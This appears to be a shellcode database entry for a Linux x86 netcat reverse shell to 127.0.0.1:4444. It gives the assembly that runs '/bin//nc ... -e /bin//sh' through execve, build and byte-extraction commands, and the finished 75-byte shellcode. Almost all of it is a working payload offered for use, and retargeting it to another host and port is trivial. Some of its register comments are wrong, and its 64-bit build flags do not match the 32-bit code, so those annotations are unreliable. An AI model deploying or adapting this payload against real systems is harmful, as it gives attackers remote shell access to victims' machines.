Execve netcat Reverse Shell (127.0.0.1:4444)
OS: Linux
Architecture: Intel x86
Length: 75 bytes
Assembly
section .text
global _start
_start:
xor ebx, ebx ; EBX = 0
xor ecx, ecx ; ECX = 0
mul ebx ; EAX, EDX = 0
push eax ; Push null terminator
push 0x636e2f2f ; Push "//nc"
push 0x6e69622f ; Push "/bin"
mov ebx, esp ; EBX -> "/bin//nc"
push eax ; Push null terminator
push byte 0x31 ; Push "1"
push 0x2e302e30 ; Push "0.0."
push 0x2e373231 ; Push "127."
mov ecx, esp ; ESI -> "127.0.0.1"
push eax ; Push null terminator
push 0x34343434 ; Push "4444"
mov edx, esp ; EDI -> "4444"
push eax ; Push null terminator
push word 0x652d ; Push "-e"
mov edi, esp
push eax ; Push null terminator
push 0x68732f2f ; Push "//sh"
push 0x6e69622f ; Push "/bin"
mov esi, esp ; EDX -> "/bin//sh"
push eax ; Push null terminator
push esi ; Push "/bin//sh"
push edi ; Push "-e"
push edx ; Push "4444"
push ecx ; Push "127.0.0.1"
push ebx ; Push "/bin//nc"
mov ecx, esp ; ECX -> {"/bin//nc", "127.0.0.1", "4444", "-e", "/bin//sh"}
mov al, 0xb ; EAX = 0xb (execve syscall number)
cdq ; EDX = 0
int 0x80 ; Execute execve syscall
Compilation and Linking
# Assemble
nasm -f elf64 -o code.o code.asm
# Link
ld -m elf_x86_64 -s -o code code.o
# Extract Shellcode
printf '\\x' && objdump -d code | grep "^ " | cut -f2 | tr -d ' ' | tr -d '\n' | sed 's/.\{2\}/&\\x /g'| head -c-3 | tr -d ' ' && echo ' '
Shellcode
\x31\xdb\x31\xc9\xf7\xe3\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x6a\x31\x68\x30\x2e\x30\x2e\x68\x31\x32\x37\x2e\x89\xe1\x50\x68\x34\x34\x34\x34\x89\xe2\x50\x66\x68\x2d\x65\x89\xe7\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe6\x50\x56\x57\x52\x51\x53\x89\xe1\xb0\x0b\x99\xcd\x80